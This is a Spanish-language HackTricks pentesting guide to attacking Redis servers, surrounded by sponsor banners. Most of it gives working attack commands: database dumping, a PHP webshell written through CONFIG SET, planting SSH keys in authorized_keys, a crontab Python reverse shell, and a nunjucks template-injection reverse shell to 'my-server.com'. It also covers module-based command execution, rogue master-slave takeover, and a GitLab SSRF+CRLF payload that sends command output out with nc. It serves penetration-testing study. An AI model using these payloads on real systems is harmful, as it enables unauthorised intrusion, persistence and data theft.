# 6379 - Pentesting Redis
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3** 🐞 Lee tutoriales de errores web3 🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores 💬 Participa en discusiones comunitarias ## Información básica Redis es una tienda de estructuras de datos en memoria de código abierto (con licencia BSD), utilizada como base de datos, caché y broker de mensajes (de [aquí](https://redis.io/topics/introduction)). Por defecto y comúnmente Redis utiliza un protocolo basado en texto plano, pero debes tener en cuenta que también puede implementar **ssl/tls**. Aprende cómo [ejecutar Redis con ssl/tls aquí](https://fossies.org/linux/redis/TLS.md). **Puerto predeterminado:** 6379 ``` PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 ``` ## Enumeración Automática Algunas herramientas automatizadas que pueden ayudar a obtener información de una instancia de Redis son: ```bash nmap --script redis-info -sV -p 6379 msf> use auxiliary/scanner/redis/redis_server ``` ## Enumeración manual ### Banner Redis es un **protocolo basado en texto**, puedes simplemente **enviar el comando en un socket** y los valores devueltos serán legibles. También recuerda que Redis puede ejecutarse utilizando **ssl/tls** (pero esto es muy raro). En una instancia regular de Redis, puedes simplemente conectarte usando `nc` o también puedes usar `redis-cli`: ```bash nc -vn 10.10.10.10 6379 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools ``` El **primer comando** que podrías probar es **`info`**. Puede **devolver una salida con información** de la instancia de Redis **o algo** como lo siguiente es devuelto: ``` -NOAUTH Authentication required. ``` En este último caso, esto significa que **necesitas credenciales válidas** para acceder a la instancia de Redis. ### Autenticación de Redis **Por defecto**, Redis se puede acceder **sin credenciales**. Sin embargo, se puede **configurar** para admitir **solo contraseña o usuario + contraseña**.\ Es posible **establecer una contraseña** en el archivo _**redis.conf**_ con el parámetro `requirepass` **o temporalmente** hasta que se reinicie el servicio conectándose a él y ejecutando: `config set requirepass p@ss$12E45`.\ Además, se puede configurar un **nombre de usuario** en el parámetro `masteruser` dentro del archivo _**redis.conf**_. {% hint style="info" %} Si solo se configura la contraseña, el nombre de usuario utilizado es "**default**".\ Además, tenga en cuenta que no hay **forma de encontrar externamente** si Redis se configuró solo con contraseña o usuario + contraseña. {% endhint %} En casos como este, necesitarás **encontrar credenciales válidas** para interactuar con Redis, por lo que podrías intentar [**ataques de fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#redis).\ **En caso de encontrar credenciales válidas, necesitarás autenticar la sesión** después de establecer la conexión con el comando: ```bash AUTH ``` Las **credenciales válidas** serán respondidas con: `+OK` ### **Enumeración autenticada** Si la instancia de Redis está aceptando conexiones **anónimas** o encontraste algunas **credenciales válidas**, puedes **comenzar a enumerar** el servicio con los siguientes comandos: ```bash INFO [ ... Redis response with info ... ] client list [ ... Redis response with connected clients ... ] CONFIG GET * [ ... Get config ... ] ``` **Otros comandos Redis** [**se pueden encontrar aquí**](https://redis.io/topics/data-types-intro) **y** [**aquí**](https://lzone.de/cheat-sheet/Redis)**.**\ Tenga en cuenta que los **comandos Redis de una instancia se pueden renombrar** o eliminar en el archivo _redis.conf_. Por ejemplo, esta línea eliminará el comando FLUSHDB: ``` rename-command FLUSHDB "" ``` Más información sobre cómo configurar de manera segura un servicio Redis aquí: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04) También puedes **monitorizar en tiempo real los comandos Redis** ejecutados con el comando **`monitor`** o obtener las **25 consultas más lentas** con **`slowlog get 25`** Encuentra más información interesante sobre más comandos Redis aquí: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis) ### **Volcado de base de datos** Dentro de Redis, las **bases de datos son números que comienzan desde 0**. Puedes encontrar si alguna está en uso en la salida del comando `info` dentro del fragmento "Keyspace": ![](<../.gitbook/assets/image (315).png>) O simplemente puedes obtener todos los **keyspaces** (bases de datos) con: ``` INFO keyspace ``` En ese ejemplo se están utilizando las **bases de datos 0 y 1**. **La base de datos 0 contiene 4 claves y la base de datos 1 contiene 1**. Por defecto, Redis utilizará la base de datos 0. Para hacer un volcado de la base de datos 1, por ejemplo, debes hacer lo siguiente: ```bash SELECT 1 [ ... Indicate the database ... ] KEYS * [ ... Get Keys ... ] GET [ ... Get Key ... ] ``` En caso de que obtenga el siguiente error `-WRONGTYPE Operación contra una clave que contiene un tipo de valor incorrecto` mientras ejecuta `GET `, es porque la clave puede ser algo distinto a una cadena o un entero y requiere un operador especial para mostrarla. Para conocer el tipo de la clave, use el comando `TYPE`, como se muestra en el siguiente ejemplo para claves de lista y hash. ``` TYPE [ ... Type of the Key ... ] LRANGE 0 -1 [ ... Get list items ... ] HGET [ ... Get hash item ... ] ``` **Volcar la base de datos con npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/)
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3** 🐞 Lee tutoriales sobre errores web3 🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores 💬 Participa en discusiones comunitarias ## Redis RCE ### Shell Interactivo [**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) puede obtener automáticamente un shell interactivo o un shell inverso en Redis (<=5.0.5). ``` ./redis-rogue-server.py --rhost --lhost ``` ### Webshell de PHP Información obtenida de [**aquí**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Debe conocer la **ruta** de la **carpeta del sitio web**: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /usr/share/nginx/html OK 10.85.0.52:6379> config set dbfilename redis.php OK 10.85.0.52:6379> set test "" OK 10.85.0.52:6379> save OK ``` Si la excepción de acceso a la webshell ocurre, puedes vaciar la base de datos después de hacer una copia de seguridad e intentarlo de nuevo, recuerda restaurar la base de datos. ### Plantilla Webshell Como en la sección anterior, también puedes sobrescribir algún archivo de plantilla HTML que será interpretado por un motor de plantillas y obtener una shell. Por ejemplo, siguiendo [**este artículo**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), puedes ver que el atacante inyectó una **shell inversa en un archivo HTML** interpretado por el **motor de plantillas nunjucks:** ```javascript {{ ({}).constructor.constructor( "var net = global.process.mainModule.require('net'), cp = global.process.mainModule.require('child_process'), sh = cp.spawn('sh', []); var client = new net.Socket(); client.connect(1234, 'my-server.com', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });" )()}} ``` {% hint style="warning" %} Ten en cuenta que **varios motores de plantillas cachéan** las plantillas en **memoria**, por lo que incluso si las sobrescribes, la nueva no se **ejecutará**. En estos casos, o bien el desarrollador dejó activada la recarga automática o necesitas hacer un DoS en el servicio (y esperar a que se reinicie automáticamente). {% endhint %} ### SSH Ten en cuenta que el resultado de **`config get dir`** puede cambiar después de otros comandos de explotación manual. Se sugiere ejecutarlo primero justo después de iniciar sesión en Redis. En la salida de **`config get dir`** puedes encontrar el **directorio raíz** del usuario **redis** (generalmente _/var/lib/redis_ o _/home/redis/.ssh_), y sabiendo esto sabes dónde puedes escribir el archivo `authenticated_users` para acceder vía ssh **con el usuario redis**. Si conoces el directorio raíz de otro usuario válido donde tengas permisos de escritura, también puedes abusar de él: 1. Genera un par de claves pública-privada ssh en tu PC: **`ssh-keygen -t rsa`** 2. Escribe la clave pública en un archivo: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** 3. Importa el archivo en redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** 4. Guarda la clave pública en el archivo **authorized\_keys** en el servidor redis: ``` root@Urahara:~# redis-cli -h 10.85.0.52 10.85.0.52:6379> config set dir /var/lib/redis/.ssh OK 10.85.0.52:6379> config set dbfilename "authorized_keys" OK 10.85.0.52:6379> save OK ``` 5. Finalmente, puedes **ssh** al **servidor redis** con la clave privada: **ssh -i id\_rsa redis@10.85.0.52** **Esta técnica está automatizada aquí:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) ### Crontab ``` root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/ OK root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root OK root@Urahara:~# redis-cli -h 10.85.0.52 save OK ``` El último ejemplo es para Ubuntu, para **Centos**, el comando anterior debería ser: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` Este método también se puede utilizar para ganar bitcoin: [yam](https://www.v2ex.com/t/286981#reply14) ### Cargar módulo Redis 1. Siguiendo las instrucciones de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) puedes **compilar un módulo Redis para ejecutar comandos arbitrarios**. 2. Luego necesitas alguna forma de **subir el módulo compilado** 3. **Cargar el módulo subido** en tiempo de ejecución con `MODULE LOAD /path/to/mymodule.so` 4. **Listar los módulos cargados** para comprobar que se cargó correctamente: `MODULE LIST` 5. **Ejecutar comandos**: ``` 127.0.0.1:6379> system.exec "id" "uid=0(root) gid=0(root) groups=0(root)\n" 127.0.0.1:6379> system.exec "whoami" "root\n" 127.0.0.1:6379> system.rev 127.0.0.1 9999 ``` 6. Descargar el módulo cuando quieras: `MODULE UNLOAD mymodule` ### Bypass del sandbox LUA [**Aquí**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) puedes ver que Redis utiliza el comando **EVAL** para ejecutar **código Lua en un sandbox**. En el post vinculado puedes ver **cómo abusarlo** usando la función **dofile**, pero [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) esto ya no es posible. De todos modos, si puedes **burlar el sandbox** de Lua, podrías **ejecutar comandos arbitrarios** en el sistema. Además, en el mismo post puedes ver algunas **opciones para causar DoS**. Algunos **CVEs para escapar de LUA**: * [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543) ### Módulo Maestro-Esclavo En Redis, todas las operaciones del maestro se sincronizan automáticamente con el esclavo, lo que significa que podemos considerar la vulnerabilidad de Redis como un esclavo de Redis, conectado al maestro de Redis que controlamos, y luego podemos ingresar el comando en nuestro propio Redis. ``` master redis : 10.85.0.51 (Hacker's Server) slave redis : 10.85.0.52 (Target Vulnerability Server) A master-slave connection will be established from the slave redis and the master redis: redis-cli -h 10.85.0.52 -p 6379 slaveof 10.85.0.51 6379 Then you can login to the master redis to control the slave redis: redis-cli -h 10.85.0.51 -p 6379 set mykey hello set mykey2 helloworld ``` ## Hablando con Redis a través de SSRF Si puedes enviar una solicitud en **texto claro** a **Redis**, puedes **comunicarte con él** ya que Redis leerá línea por línea la solicitud y simplemente responderá con errores a las líneas que no entienda: ``` -ERR wrong number of arguments for 'get' command -ERR unknown command 'Host:' -ERR unknown command 'Accept:' -ERR unknown command 'Accept-Encoding:' -ERR unknown command 'Via:' -ERR unknown command 'Cache-Control:' -ERR unknown command 'Connection:' ``` Por lo tanto, si encuentra una vulnerabilidad **SSRF** en un sitio web y puede **controlar** algunos **encabezados** (tal vez con una vulnerabilidad **CRLF**) o **parámetros POST**, podrá enviar comandos arbitrarios a Redis. ### Ejemplo: Gitlab SSRF + CRLF a Shell En **Gitlab11.4.7** se descubrió una vulnerabilidad **SSRF** y una **CRLF**. La vulnerabilidad **SSRF** estaba en la funcionalidad de **importación de proyectos desde una URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad **CRLF** se explotó simplemente agregando caracteres **%0D%0A** a la **URL**. Por lo tanto, fue posible **abusar de estas vulnerabilidades para hablar con la instancia Redis** que **administra colas** desde **gitlab** y abusar de esas colas para **obtener la ejecución de código**. La carga útil de abuso de la cola Redis es: ``` multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec ``` Y la solicitud de codificación de URL que abusa de SSRF y CRLF para ejecutar un `whoami` y enviar la salida a través de `nc` es: ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` _Por alguna razón (como para el autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de donde se tomó esta información) la explotación funcionó con el esquema `git` y no con el esquema `http`._ \_\_
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3** 🐞 Lee tutoriales sobre errores web3 🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores 💬 Participa en discusiones de la comunidad
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).